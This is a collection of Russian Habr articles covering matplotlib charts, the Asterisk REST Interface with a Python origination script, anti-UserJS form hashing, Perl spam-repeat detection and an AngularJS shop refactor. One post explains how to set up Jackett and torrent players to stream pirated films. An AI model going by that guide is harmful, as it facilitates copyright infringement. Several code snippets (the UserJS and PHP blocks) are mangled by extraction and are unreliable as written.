encircle(df.loc[cluster.labels_ == 1, 'Murder'], df.loc[cluster.labels_ == 1, 'Assault'], ec="k", fc="tab:blue", alpha=0.2, linewidth=0)
encircle(df.loc[cluster.labels_ == 2, 'Murder'], df.loc[cluster.labels_ == 2, 'Assault'], ec="k", fc="tab:red", alpha=0.2, linewidth=0)
encircle(df.loc[cluster.labels_ == 3, 'Murder'], df.loc[cluster.labels_ == 3, 'Assault'], ec="k", fc="tab:green", alpha=0.2, linewidth=0)
encircle(df.loc[cluster.labels_ == 4, 'Murder'], df.loc[cluster.labels_ == 4, 'Assault'], ec="k", fc="tab:orange", alpha=0.2, linewidth=0)
# Decorations
plt.xlabel('Murder'); plt.xticks(fontsize=12)
plt.ylabel('Assault'); plt.yticks(fontsize=12)
plt.title('Agglomerative Clustering of USArrests (5 Groups)', fontsize=22)
plt.show()
```
### 49. Кривая Эндрюса
Кривая Эндрюса помогает визуализировать, существуют ли присущие группировке числовые особенности, основанные на данной группировке. Если объекты (столбцы в наборе данных) не помогают различить группу, то линии не будут хорошо разделены, как показано ниже
**Показать код**
```
from pandas.plotting import andrews_curves
# Import
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mtcars.csv")
df.drop(['cars', 'carname'], axis=1, inplace=True)
# Plot
plt.figure(figsize=(12,9), dpi= 80)
andrews_curves(df, 'cyl', colormap='Set1')
# Lighten borders
plt.gca().spines["top"].set_alpha(0)
plt.gca().spines["bottom"].set_alpha(.3)
plt.gca().spines["right"].set_alpha(0)
plt.gca().spines["left"].set_alpha(.3)
plt.title('Andrews Curves of mtcars', fontsize=22)
plt.xlim(-3,3)
plt.grid(alpha=0.3)
plt.xticks(fontsize=12)
plt.yticks(fontsize=12)
plt.show()
```
### 50. Параллельные координаты
Параллельные координаты помогают визуализировать, помогает ли функция эффективно разделять группы. Если происходит сегрегация, эта функция, вероятно, будет очень полезна для прогнозирования этой группы.
**Показать код**
```
from pandas.plotting import parallel_coordinates
# Import Data
df_final = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/diamonds_filter.csv")
# Plot
plt.figure(figsize=(12,9), dpi= 80)
parallel_coordinates(df_final, 'cut', colormap='Dark2')
# Lighten borders
plt.gca().spines["top"].set_alpha(0)
plt.gca().spines["bottom"].set_alpha(.3)
plt.gca().spines["right"].set_alpha(0)
plt.gca().spines["left"].set_alpha(.3)
plt.title('Parallel Coordinated of Diamonds', fontsize=22)
plt.grid(alpha=0.3)
plt.xticks(fontsize=12)
plt.yticks(fontsize=12)
plt.show()
```
Бонус, [код в юпитере](https://github.com/Angourisoft/commstuff/blob/master/chartsmatplotlib/50%20charts.ipynb)
**Гусь, ты же обещал флюиды!**В [статье](https://habr.com/ru/post/467803/) я сказал, что думаю сделать симуляцию жидкости. Но вероятно ее будет писать мой коллега, и, если его статья выберется из песочницы, я поделюсь ссылкой на нее с отписавшимися в комментарии или диалоги. | https://habr.com/ru/post/468295/ | null | ru | null |
# Обзор Asterisk REST Interface (ARI)
В начале времен единственным "поставщиком" функционала Asterisk были модули, многие из которых расширяли арсенал приложений и функций плана набора.
Тогда, в начале времен, все эти команды и функции далеко опережали свое время, и благодаря им Asterisk "уделывал" по функционалу многие коммерческие продукты.
Если возникала какая-нибудь необходимость в выходе за пределы имеющихся приложений и функций, можно было написать свой собственный модуль на языке С, и это был единственный способ расширения функционала и выхода из имеющейся "клетки", какой бы просторной она ни была.
Но разработку модуля Астериск на языке С сложно назвать тривиальной задачей. Это весьма тернистый путь, к тому же весьма рискованный, ведь критическая ошибка в своем модуле запросто приводила к полному падению Asterisk в core.
Нужны были более "мягкие" и простые способы для расширения функций и интеграции с другими системами.
Так появились интерфейсы AGI и AMI.
**Asterisk Gateway Interface (AGI)** — это синхронный интерфейс выполнения диалплана, архитектурно "слизанный" с CGI. Команда диалплана AGI запускала процесс, и использовала стандартный ввод и вывод для получения команд и передачи результатов. При помощи AGI можно решать задачи интеграции с внешними системами, например, можно отправиться в корпоративную базу данных и найти имя звонящего клиента по его номеру.
По сути, AGI предоставлял способ написать план набора Asterisk не в формате extensions.conf, а на своем языке программирования, используя поставляемые модулями команды и функции, вокруг которых строится своя бизнес-логика.
**Asterisk Manager Interface (AMI)** — это асинхронный (событийный) интерфейс, позволяющий контролировать внутреннее состояние объектов в Asterisk, и получать информацию о происходящих событиях. Если AGI архитектурно напоминает CGI интерфейс, то AMI сессия похожа на телнет-сессию, в рамках которой стороннее приложение подключается по TCP/IP к AMI порту Asterisk, и может отправлять свои команды, ответ на которые приходит через некоторое время в виде события-ответа. Помимо ответов на команды в AMI соединение "валятся" всевозможные события, происходящие в Asterisk, и дело клиента определить, относятся они к нему или их можно просто игнорировать.
Про AGI можно сказать, что это call execution механизм, а про AMI — что это call control механизм. Чаще всего для построения своего телекоммуникационного приложения необходимо использовать сразу AGI и AMI вместе. Происходит "размазывание" бизнес логики по разным приложениям, что затрудняет его понимание и дальнейшее сопровождение и развитие.
Помимо этого, существует еще несколько ограничений:
* AGI: блокирует поток, обслуживающий канал.
* AGI: реакция на события (DTMF, изменение состояния) невозможна или затруднена только с AGI.
* Фундаментальные операции ограничены тем, что выполняется на канале. Но есть и другие примитивы: мосты, устройства, состояния, индикации сообщений и медиа на каналах, недоступные в AGI/AMI.
* AMI & AGI — морально устарели. REST, XML/JSON RPC более привычны и удобны в сегодняшнем мире.
В результате, чтобы вырваться за рамки существующих ограничений команд и функций, надо и писать свой С-модуль, реализующий низкоуровневый телефонный примитив, и интегрироваться с внешними системами при помощи AGI & AMI.
Так было до появления **Asterisk REST Interface**.
Основные концепции ARI:
* ARI позволяет как управлять состоянием звонка (call control), так и выполнять логику (call execution).
* ARI асинхронен.
* ARI «выставляет» «сырые» примитивы — каналы, мосты, устройства и т.п. через REST интерфейс.
* Состояния объектов доступны через JSON события поверх WebSocket.
* ARI — не для того, чтобы «зарулить» звонок в приложение VoiceMail, а для того, чтобы создать свое собственное приложение VoiceMail!
"Три кита" ARI:
* RESTful интерфейс.
* WebSocket подключение, по которому передаются события о контролируемых ресурсах в JSON формате.
* Приложение диалплана — Stasis, передающее управление каналом в ARI приложение.
Пример диалплана, передающего управление в Stais:
```
exten => _X.,1,Stasis(myapp,arg1,arg2)
exten => _X.,n,NoOp(Left Stasis)
```
ARI имеет некоторые ограничения
* ARI не имеет доступа к любым объектам, а только к тем, которые контролирует. Это значит, что нельзя сделать answer на канале, которые не зарулен в Stasis приложение. Однако, channel list вернет все активные каналы, а не только те, что зарулены в Stasis
* Доступны только те операции, которые определены на стороне Asterisk (что понятно, ведь это Asterisk определяет все REST операции).
* Stasis приложение доступно только при установленном клиентском соединении. Если нет соединения на WebSocket с именем данного приложения, Stasis выдаст ошибку и пойдет дальше по диалплану.
Рассмотрим категории операций, доступных в ARI:
* Asterisk
* Мосты (bridges)
* Каналы (channels)
* Устройства (endpoints)
* Состояния устройств (device states)
* События (events)
* Почтовые ящики (mailboxes)
* Воспроизведения (playbacks)
* Записи (recordings)
* Звуки (sounds)
И остановимся на каждой категории подробнее.
### Asterisk
* Динамическая конфигурация (sorcery, pjsip)
* Информация о сборке
* Управление модулями (список, загрузка, выгрузка)
* Управление логированием и ротацией логов
* Глобальные переменные (чтение и установка)
### Мосты
* Получение, создание, удаление мостов
* Добавление / удаление каналов
* Проигрывание музыки на ожидании
* Включение записи
### Каналы
* Список активных каналов и подробные данные канала.
* Создание канала (originate) и удаление (hangup) канала.
* Выход в диалплан
* Редирект канала
* Answer, Ring, DTMF, Mute, Hold, MoH, Silence, Play, Record, Variable, Snoop
### Каналы
* Список активных каналов и подробные данные канала.
* Создание канала (originate) и удаление (hangup) канала.
* Выход в диалплан
* Редирект канала
* Answer, Ring, DTMF, Mute, Hold, MoH, Silence, Play, Record, Variable, Snoop
### Устройства
* Список всех устройств
* Отправка сообщения на устройство (SIP, PJSIP, XMPP)
### Состояние устройств
* Список статусов контролируемых устройств
* Установка статуса (NOT\_INUSE, INUSE, BUSY, INVALID, UNAVAILABLE, RINGING, RINGINUSE, ONHOLD)
Полный список возможных операций смотрите на wiki asterisk — [<https://wiki.asterisk.org/wiki/display/AST/Asterisk+13+ARI>](https://wiki.asterisk.org/wiki/display/AST/Asterisk+13+ARI)
События
-------
Приведу частичный список событий, которые доступны на веб-сокете подключенного приложения:
* **StasisStart / StasisEnd** — посылается в сокет сразу при попадании звонка в Stasis, и последним при выходе звонка из Стасиса.
* **ChannelCreated / ChannelDestroyed** — при создании и разрушении канала.
* **BridgeCreated / BridgeDestroyed** — при создании и разрушении моста.
* **ChannelDtmfReceived** — при получении DTMF.
* **ChannelStateChange** — изменилось состояние канала.
* **ChannelUserevent** — пользовательское событие. Очень удобная штука, которая позволяет надстраиваться над событийной моделью ARI.
* **DeviceStateChanged** — изменилось состояние устройства (NOT\_INUSE, INUSE, BUSY, INVALID, UNAVAILABLE, RINGING, RINGINUSE, ONHOLD).
* **EndpointStateChange** — изменилось состояние конечной точки.
* **PlaybackStarted / PlaybackFinished** — началось и закончилось проигрывание файла.
* **TextMessageReceived** — получено сообщение.
* и другие (<https://wiki.asterisk.org/wiki/display/AST/Asterisk+13+REST+Data+Models>)
Что нового в Asterisk 14 ARI
----------------------------
* Получение записей
* Проигрывание медиа из HTTP источников.
* Медиа-плейлист (асинхронность требовала ожидания окончания одного звука для запуска следующего).
Пример
------
Ну и в заключение приведу пример оригинации вызова при помощи Python ARI библиотеки.
В этом примере делается оригинация по указанному пиру, и возвращается cause code:
```
#!/usr/bin/env python2.7
# Requirements: pip install ari gevent
import argparse
import ari
import gevent
from gevent.monkey import patch_all; patch_all()
from gevent.event import Event
import logging
from requests.exceptions import HTTPError, ConnectionError
import socket
import time
logging.basicConfig() # Important!
# Otherwise you get No handlers could be found for
# logger "ari.client"
ARI_URL = 'http://192.168.56.101:8088/ari'
ARI_USER = 'test'
ARI_PASSWORD = 'test'
client = ari.connect(ARI_URL, ARI_USER, ARI_PASSWORD)
def run():
try:
client.run('originator')
except socket.error as e:
if e.errno == 32: # Broken pipe as we close the client.
pass
except ValueError as e:
if e.message == 'No JSON object could be decoded': # client.close()
pass
def originate(endpoint=None, callerid=None, context=None, extension=None,
priority=None, timeout=None):
# Go!
evt = Event() # Wait flag for origination
result = {}
gevent.sleep(0.1) # Hack to let run() arrange all.
start_time = time.time()
try:
channel = client.channels.originate(
endpoint=endpoint,
callerId=callerid,
app='originator',
timeout=timeout
)
def state_change(channel, event):
state = event['channel']['state']
if state == 'Up':
channel = channel.continueInDialplan(
context=context, extension=extension, priority=priority)
def destroyed(channel, event):
end_time = time.time()
result['status'] = 'success'
result['message'] = '%s (%s)' % (
event.get('cause_txt'),
event.get('cause'))
result['duration'] = '%0.2f' % (end_time - start_time)
evt.set()
channel.on_event('ChannelDestroyed', destroyed)
channel.on_event('ChannelStateChange', state_change)
# Wait until we get origination result
evt.wait()
client.close()
return
except HTTPError as e:
result['status'] = 'error'
try:
error = e.response.json().get('error')
result['message'] = e.response.json().get('error')
except Exception:
result['message'] = e.response.content
finally:
print result
client.close()
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('endpoint', type=str, help='Endpoint, e.g. SIP/operator/123456789')
parser.add_argument('callerid', type=str, help='CallerID, e.g. 111111')
parser.add_argument('context', type=str, help='Asterisk context to connect call, e.g. default')
parser.add_argument('extension', type=str, help='Context\'s extension, e.g. s')
parser.add_argument('priority', type=str, help='Context\'s priority, e.g. 1')
parser.add_argument('timeout', type=int, help='Originate timeout, e.g. 60')
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
runner = gevent.spawn(run)
originator = gevent.spawn(originate, endpoint=args.endpoint, callerid=args.callerid,
context=args.context, extension=args.extension,
priority=args.priority, timeout=args.timeout
)
gevent.joinall([originator, runner])
```
### Комментарии по скрипту
* Используется асинхронный фреймворк gevent для того, чтобы в рамках одного потока как установить соединение на websocket и принимать входящие сообщения, так и для того чтобы соригинировать вызов.
* Чтобы получить статус звонка и его продолжительность, необходимо подключенный звонок зарулить в Stasis приложение originator, в рамках которого будет вызвано событие ChannelDestroyed, уже в рамках которого произойдет обработка кода завершения.
* После соединения канал перейдет в состояние up, и в этом случае будет переброшен на указанный context, extension, priority.
* После завершения звонка закрывается client соединение.
Данный скрипт можно запустить из консоли, и вот что он вернет:
```
(env)MacBook-Pro-Max:barrier max$ ./ari_originate.py SIP/operator 11111 default s 1 4
{'status': 'success', 'duration': '2.54', 'message': u'Normal Clearing (16)'}
```
Обозначения параметров:
```
(env)MacBook-Pro-Max:barrier max$ ./ari_originate.py -h
usage: ari_originate.py [-h]
endpoint callerid context extension priority timeout
positional arguments:
endpoint Endpoint, e.g. SIP/operator/123456789
callerid CallerID, e.g. 111111
context Asterisk context to connect call, e.g. default
extension Context's extension, e.g. s
priority Context's priority, e.g. 1
timeout Originate timeout, e.g. 60
optional arguments:
-h, --help show this help message and exit
```
Чтобы запустить данный скрипт, надо установить библиотеки ari и gevent:
```
pip install ari gevent
```
P.S. Написано по материалам выступления автора на Asterconf 2016.
P.P.S. Скрипт находится тут — <https://gist.github.com/litnimax/2b0f9d99e49e49a07e59c45496112133> | https://habr.com/ru/post/308652/ | null | ru | null |
# Смотрим любое кино мгновенно
**Disclaimer: я не призываю незаконно скачивать контент, пиратство - наказуемо и является преступлением**
После ареста серверов [Moonwalk](https://4pda.ru/2019/10/22/363190/) жить стало в разы труднее. Лично я уже совсем отвык от торрентов. Нужно что-то качать, ждать, чем-то открывать, куда-то кликать, иногда еще и место на диске кончается. Как можно ждать час пока скачается фильм? За час можно жизнь прожить. Пришлось искать решение, которое позволит смотреть кино также просто, как и раньше.
*Норматив: от идеи посмотреть что-нибудь и до начала непосредственного просмотра - не более минуты и нескольких кликов.*
Так что делюсь с вами одним из множества возможных решений, в формате пятничной заметки.
Вы скажете: есть Popcorntime, не морочь нам голову. Все так, есть Popcorntime, идея классная, но реализация не совсем та, какую хотелось бы. Часто нет нужных дорожек, субтитров, все как-то непрозрачно работает. Вот бы можно было иметь интерфейс, который ищет необходимое кино по всем нужным трекерам и мгновенно его начинает крутить. Есть такой интерфейс.
И вот так он работает:
В среднем это 22-50 секунд и приблизительно 4 клика мышью от желания посмотреть фильм до начала его непосредственного просмотра, при наличии пиров и хорошего канала, при этом без рекламы и с огромным выбором, который вы можете сами сужать и расширять. Ниже о компонентах.
### Знакомьтесь, Jackett
С помощью этой штуки можно не только искать все что хотите на нужных вам трекерах, но и качать торрент файлы даже **не заходя** на сайт трекера. Удобно? Да. Взять его можно [отсюда](https://github.com/Jackett/Jackett/releases) и либо установить на свой комп, либо запустить на удаленном сервере. Второй вариант гораздо удобнее.
Jackett можно скачать и запускать на компьютере, но это все усложняет. Лучше захостить его на [бесплатном облаке от Oracle](https://www.oracle.com/cloud/free/), и заходить по адресу. Вам понадобится машина в облаке, linux на ней и docker-compose.yml c приблизительно такими характеристиками:
```
version: '3.5'
services:
jackett:
image: linuxserver/jackett
container_name: jackett
environment:
- PUID=1000
- PGID=1000
- TZ=Europe/Moscow
volumes:
- ./Jackett/config:/config
- ./Jackett/Downloads:/downloads
ports:
- 9117:9117
networks:
- proxy
restart: unless-stopped
networks:
network:
driver: bridge
proxy:
external:
name: proxy
```
docker-compose up -d и заходим. Далее нам понадобится добавить все наши трекеры, вбив логины и пароли.
Jackett прекрасен, он постоянно обновляется, разработчики мгновенно реагируют на баги, но одними торрент файлами сыт не будешь, нужно их чем-то открыть и чтобы просмотр начался мгновенно.
**Здесь нам приходят на помощь** [**Stremio**](https://www.stremio.com/downloads) **и** [**Soda player**](https://www.sodaplayer.com/)**.**
Сами по себе это просто потоковые смотрелки торрент файлов. Хорошо, но недостаточно. В комбиации с Jackett они превращаются во что-то совсем невероятное. Soda отлично подойдет для мака, а Stremio, кажется, умеет передавать видео на телевизоры и прочие кофемолки. Про Soda есть [статья на reddit](https://www.reddit.com/r/Piracy/comments/8q2pg3/anyone_who_can_explain_why_soda_player_is/), дескать он ворует печеньки. Лично мне плевать, но вас я обязан предупредить.
На этом все, но помните, что смотря кино таким образом, вы ничего не сидируете(не считая сидирования во время просмотра). Вообще, никто обычно нарочно ничего не сидирует, большинство просто качают файлы и забывают вытащить клиент из автозагрузки, однако пользуясь таким методом мы лишаем себя этой благодетели.
Понятно, что это не единственный метод, так что делитесь своими в комментариях, так будет полезнее. | https://habr.com/ru/post/545784/ | null | ru | null |
# Запрещаем использование известных UserJS
#### Введение
UserJS предоставляет пользователям удобный и простой механизм модификации веб-страниц, именно благодаря этому многие пользователи автоматизирую свои действия с помощью UserJS, а иногда и обходят слабые системы защиты.
Больше всего от использования UserJS пользователями страдают браузерные онлайн-игры, многие из которых уже начали войну против UserJS. Так, например, в игре Travian используются поддельные скрытые веб-формы, которые иногда появляются вместе с обычными, UserJS-скрипты, написанные без учета этой особенности, ошибаются и отправляют данные через фэйковую форму, за что игрок немедленно получает наказание.
Хотелось бы сразу отметить, что бороться можно только с известными UserJS-скриптами, показанное решение не универсально и не может защитить от любого скрипта.
Сегодня я представляю на ваш суд свой метод борьбы с пользовательскими скриптами — MD5-хэширование с последующим сравнением. Основные действующие роли играют JavaScript и PHP.
#### Легенда
Предположим, у нас есть веб-сайт с простой формой авторизации, но пользователи повадились не вводить свой логин, а использовать UserJS-скрипт, который добавляет в форму дополнительную кнопку, нажатие на которую автоматически вводит их логин. Этот пример взят просто для наглядности, на месте формы авторизации может быть, например, форма отправки войск в онлайн-стратегии, а UserJS-скрипт — бот, автоматически рассылающий войска.
#### Исходные данные
Итак, наша форма выглядит так:
[](https://habrastorage.org/storage/habraeffect/86/4b/864bf53609e37bab2327f14c46351024.jpg "Хабрэффект.ру")
Пользователи используют следующий UserJS в браузере Opera:
`Copy Source | Copy HTML1. window.opera.addEventListener('AfterEvent.load', function (e){
2. if (e.event.target instanceof Document){
3. e.preventDefault();
4. document.forms[ 0].innerHTML+='';
5. }
6. },false);`
Или в FireFox для расширения GreaceMonkey:
`Copy Source | Copy HTML1. // ==UserScript==
2. // @name test1
3. // @namespace test
4. // @include http://localhost/anti-userjs/test1.php
5. // ==/UserScript==
6.
7. document.forms[ 0].innerHTML+='';`
После включения этого скрипта пользователи получают такой вид формы авторизации:
[](https://habrastorage.org/storage/habraeffect/69/2c/692ccbf500dfaba75cce8892b7d39613.jpg "Хабрэффект.ру")
Нажатие на кнопку «AutoLogin», как видно из исходных текстов, приводит к заполнению поля «login».
Попробуем запретить пользователем использование этого скрипта.
#### Вывод формы авторизации
Выводить форму авторизации мы будем из PHP-файла, обрамим форму тегом div, а также захешируем все данные внутри этого тега средствами PHP. Хеш сохраним в сессии для последующего контроля:
`Copy Source | Copy HTML1. "main"
>
- </font
- ob\_start();
- ?>
- "POST">
- Логин: "login" type="text">
- Пароль: "password" type="password" >
- "md5" type="hidden">
- "Войти" type="submit">
-
- </font
- $data=ob\_get\_contents();
- ob\_end\_flush();
- $data=strtr($data,'ABCDEFGHIJKLMNOPQRSTUVWXYZ','abcdefghijklmnopqrstuvwxyz');
- $data=preg\_replace("/[ \t\n\r]/",'',$data);
- $md5=md5($data);
- $\_SESSION['md5']=$md5;
- ?>` | https://habr.com/ru/post/107396/ | null | ru | null |
# Невизуальные методы защиты сайта от спама. Часть 3. Повторы
Продолжение статьи [Невизуальные методы защиты сайта от спама](https://habrahabr.ru/company/cleantalk/blog/282586/)
Часть 3. Повторы подстрок
=========================
Как уже говорилось, невизуальные методы защиты сайта от спама используют анализ текста. Один из часто встречающихся сигналов спама — это наличие повторяющихся строк. Как всегда, приведённые примеры взяты из реальных данных компании [CleanTalk](https://cleantalk.org).
Поиск таких повторов должен быть минимально ресурсоёмким. Лучше, если он будет вызываться после тестов из 1 и 2 частей статьи, которые отсеют явный спам и приведут текст к виду, пригодному для анализа. Здесь я приведу некоторую статистику, а также пример кода.
1. Пример кода
--------------
Используемая нами функция определения самых длинных повторяющихся подстрок сделана по наивному алгоритму, описанному тут <http://algolist.manual.ru/search/lrs/naive.php>
Пример вывода представлен ниже.
**`s a l e f o r s a l e f o r s a l e
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
s 0 + . . . . . . . . + . . . . . . . . + . . .
a 1 . + . . . . . . . . + . . . . . . . . + . .
l 2 . . + . . . . . . . . + . . . . . . . . + .
e 3 . . . + . . . . . . . . + . . . . . . . . +
4 . . . . + . . . + . . . . + . . . + . . . .
f 5 . . . . . + . . . . . . . . + . . . . . . .
o 6 . . . . . . + . . . . . . . . + . . . . . .
r 7 . . . . . . . + . . . . . . . . + . . . . .
8 . . . . . . . . + . . . . + . . . + . . . .
s 9 . . . . . . . . . + . . . . . . . . + . . .
a 10 . . . . . . . . . . + . . . . . . . . + . .
l 11 . . . . . . . . . . . + . . . . . . . . + .
e 12 . . . . . . . . . . . . + . . . . . . . . +
13 . . . . . . . . . . . . . + . . . + . . . .
f 14 . . . . . . . . . . . . . . + . . . . . . .
o 15 . . . . . . . . . . . . . . . + . . . . . .
r 16 . . . . . . . . . . . . . . . . + . . . . .
17 . . . . . . . . . . . . . . . . . + . . . .
s 18 . . . . . . . . . . . . . . . . . . + . . .
a 19 . . . . . . . . . . . . . . . . . . . + . .
l 20 . . . . . . . . . . . . . . . . . . . . + .
e 21 . . . . . . . . . . . . . . . . . . . . . +
$VAR1 = {
'sale' => 3,
'for sale' => 2
};`**
Плюсами на диагоналях отмечены найденные повторы. Видно, что число повторов равно числу отрезков диагоналей из смежных плюсов, параллельных главной и имеющих одинаковое смещение по вертикали.
В реализации алгоритма собственно поиск повторяющихся символов занимает немного. Больше времени делается именно анализ диагоналей матрицы с выделением подстрок. Для этого был введен порог минимальной длины повтора. Также пришлось учесть повторы, начинающиеся с пробелов. Необходимо также было обеспечить, чтобы повторения не пересекались между собой. Поиск повторов делается от коротких к длинным.
А вот и сама функция на Perl с минимальными изменениями. Для удобства приведён полный текст, выводящий матрицу выше.
```
#!/usr/bin/perl -w
use strict;
use utf8;
use Data::Dumper;
binmode(STDOUT, ':utf8');
my $min_longest_repeat_length = 4;
my $message = 'sale for sale for sale';
my %longest_repeates = ();
get_longest_repeates(\$message, \%longest_repeates);
print Dumper(\%longest_repeates);
sub get_longest_repeates {
my $test_ref = shift; # Ссылка на текст для анализа
my $reps_ref = shift; # Ссылка на хэш результата
my @symbols = split //, $$test_ref;
my $m_len = scalar @symbols;
my @matrix = (); # Квадратная матрица совпадений символов
# Заполнение матрицы справа от главной диагонали
for (my $i = 0; $i < $m_len; $i++) { # Строки
$matrix[$i] = [];
for (my $j = $i; $j < $m_len; $j++) { # Столбцы только справа от главной диагонали
$matrix[$i][$j] = 1 if $symbols[$i] eq $symbols[$j];
}
}
# Анализ диагоналей матрицы справа от главной диагонали и заполнение результата
my %repeats_tmp = (); # Хэш повторов
my ($i, $j);
# Перебор диагоналей справа налево, т.е. от коротких повторений к длинным
for ($i = $m_len - 1; $i > 0; $i--) {
my $repeat = '';
my $repeat_pos = undef;
my $repeat_temp;
for ($j = $i; $j < $m_len; $j++) {
if (defined($matrix[$j-$i][$j]) && $matrix[$j-$i][$j] == 1) {
$repeat_temp = $repeat;
$repeat_temp =~ s/^ //;
# Если полученная строка повтора уже есть в хэше повторов
if (defined($repeats_tmp{$repeat_temp})) {
$repeat_pos = $j - length($repeat_temp);
$repeats_tmp{$repeat_temp}{$repeat_pos} = 1;
$repeat = $symbols[$j];
} else {
$repeat .= $symbols[$j];
}
} else {
if ($repeat ne '') {
$repeat =~ s/^ //;
$repeat_pos = $j - length($repeat);
if (length($repeat) >= $min_longest_repeat_length) {
if (defined($repeats_tmp{$repeat})) {
$repeats_tmp{$repeat}{$repeat_pos} = 1;
} else {
$repeats_tmp{$repeat} = {$repeat_pos => 1};
}
}
$repeat = '';
}
}
}
if ($repeat ne '') {
$repeat =~ s/^ //;
$repeat_pos = $j - length($repeat);
if (length($repeat) >= $min_longest_repeat_length) {
if (defined($repeats_tmp{$repeat})) {
$repeats_tmp{$repeat}{$repeat_pos} = 1;
} else {
$repeats_tmp{$repeat} = {$repeat_pos => 1};
}
}
$repeat = '';
}
}
foreach (keys %repeats_tmp){
$$reps_ref{$_} = 1 + scalar keys %{$repeats_tmp{$_}};
}
# Вывод матрицы для диагностики
print "\n";
print ' ';
for (my $i = 0; $i < $m_len; $i++) {
print ' ' . $symbols[$i];
}
print "\n";
print ' ';
for (my $i = 0; $i < $m_len; $i++) {
printf '%3d', $i;
}
print "\n";
print "\n";
for (my $i = 0; $i < $m_len; $i++) {
print $symbols[$i];
printf '%3d ', $i;
for (my $j = 0; $j < $m_len; $j++) {
my $value = '.';
$value = '+' if (defined $matrix[$i][$j] && $matrix[$i][$j] == 1);
printf(' %1s', $value);
}
print "\n";
}
print "\n";
}
```
2. Статистика повторов
----------------------
Нами был подобран порог минимальной длины повтора (его я не привожу специально), давший максимальную эффективность в тестах. Его результаты по числу повторов таковы:
| Число повторов | В спаме, % | В не спаме, % |
| --- | --- | --- |
| 2 | 78,58 | 90,28 |
| 3 | 11,93 | 4,86 |
| 4 | 4,45 | 2,08 |
| 5 | 2,30 | 1,39 |
| 6 | 1,93 | 0 |
| 7 | 0,22 | 0 |
| 8 | 0,37 | 0 |
| 9 | 0,07 | 0 |
3. Заключение
-------------
Я показал реализацию наивного алгоритма поиска повторяющихся подстрок в тексте. Для анализа можно использовать как число повторов, так и сами повторы (например, по стоп-словам). Повторю, что в борьбе со спамом наиболее эффективны комплексные тесты. | https://habr.com/ru/post/301302/ | null | ru | null |
# Одностраничный магазин на Phalcon PHP + AngularJS. Работа над ошибками
##### Введение
Всем привет! Не так давно я написал публикацию [«Одностраничный магазин с корзиной на Phalcon + AngularJS + Zurb Foundation»](http://habrahabr.ru/post/245665/), которая имела неоднозначный эффект мягко говоря. А точнее получила много отрицательных комментариев, какие-то были объективные и конструктивные, какие-то нет, и они меня заставили задуматься, почему так произошло, ведь я хотел сделать полезный мануал, который пригодиться мне и другим, начинающим писать на AngularJS.
##### Исповедь
Да, мануал был полезен для меня, для меня старого, того, кому в 2009 году отказали в работе в местной веб-студии, и он по сей день ни разу ни работал в команде, ни разу не работал на наёмной работе, а полагался только на себя, и главным критерием эффективности реализации проектов был один — главное, что работает. Но это я — старый, после написания той статьи, и множества комментариев, я впервые решил попробовать сделать всё по правилам хорошего тона, хотя бы ради интереса.
#### **Список литературы**
Обычно список литературы приводится в конце, но с другой стороны, по ходу написания статьи, будут возникать вопросы, почему была выбрана именно такая реализация. И чтобы не оставлять вас без ответов на ваши вопросы, я буду в скобках [?] указывать на источник, откуда это было взято. Итак, вот и литература, на которую я опирался, исправляя свои ошибки.
1. Комментарии к статье [Одностраничный магазин с корзиной на Phalcon + AngularJS + Zurb Foundation](http://habrahabr.ru/post/245665/)
2. [Смелый стайлгайд по AngularJS для командной разработки [1/2]](http://habrahabr.ru/post/235873/)
3. [Смелый стайлгайд по AngularJS для командной разработки [2/2]](http://habrahabr.ru/post/237279/)
4. [angular js: ng-repeat no longer allowing duplicates](http://mutablethought.com/2013/04/25/angular-js-ng-repeat-no-longer-allowing-duplicates/)
5. [Using Local Storage](http://learn.ionicframework.com/formulas/localstorage/)
6. [AngularJS $http not sending X-Requested-With header](http://www.nabito.net/angularjs-http-not-sending-x-requested-with-header/)
7. [ngRoute preloader example](http://plnkr.co/edit/ZpkgRhEAoUGlnXjbLb8b?p=preview)
#### **Работа над ошибками**
По ходу реализации проекта одностраничного магазина по доставки еды были неумышленно допущены следующие недочёты:
* Выгрузка сразу всех товаров на одну страницу с помощью php
* Отсутствие единого стиля написания кода
* Использование логики в контроллерах AngularJS [[1]](http://habrahabr.ru/post/245665/#comment_8177525) by [EugeneOZ](https://habrahabr.ru/users/eugeneoz/)
* Хранение корзины в объекте js, который после перезагрузки страницы сбрасывался [[1]](http://habrahabr.ru/post/245665/#comment_8176973) by [hVostt](https://habrahabr.ru/users/hvostt/)
* Добавление в корзину через вставку инлайн PHP скриптов [[1]](http://habrahabr.ru/post/245665/#comment_8177363) от [steppefox](https://habrahabr.ru/users/steppefox/)
* Отзывчивость интерфейса по ходу загрузки новых категорий
В этой статье я хочу поделиться как я искал решения, и что из этого получилось. А теперь пройдёмся по каждому пункту.
#### **Выгрузка сразу всех товаров на одну страницу с помощью php**
Товаров в магазине оказалось чуть больше, чем рассчитывалось, и учитывая наш камчатский интернет, мы посчитали:
100 товаров (изображений), каждая картинка 100-300 кб, в итоге только товары съедали драгоценный трафик наших клиентов в размере 10 мб, плюс почти 10 мб весил сам сайт (картинки, стили, скрипты). Сейчас же мне удалось оптимизировать всё, и сайт весит 3,9 мб во время первой загрузки, и не больше 1 мб в последующие, так как браузер кеширует всё что нужно.
Такая оптимизация была достигнута за счёт сжатия больших фоновых изображений без потери качества, а так же спрайтов для иконок и мелкой графики, так же были убраны блоки, которые не играли важной роли на странице (отзывы, партнёры, сертификаты, почему мы, открытая форма обратной связи заменена на jivosite). Всё таки скорость загрузки для сайта с едой, гораздо важнее наших лавр и наград, которые нафиг никому не нужны.
И конечно же оптимизация была за счёт отказа от рендеринга сразу всех товаров на страницу с помощью php, и заменена на ajax подгрузку json данных по клику на ссылку вида /#!/menu/7, да мне наконец довелось изучить как работает роутинг в angularjs, к стыду своему, до этого ни разу не работал с роутингом js.
И это оказалось не так сложно, как я ожидал, собственно у меня был всего один роут:
```
function config($routeProvider, $locationProvider) {
$routeProvider
.when('/menu/:id', {templateUrl: '/app/views/products.html', controller: ProductsController});
$locationProvider.hashPrefix('!');
$locationProvider.html5Mode(true);
}
angular.module('rollShop').config(config);
```
Он то и подгружал json данные с сервера и рендерил их в шаблоне:
```
```
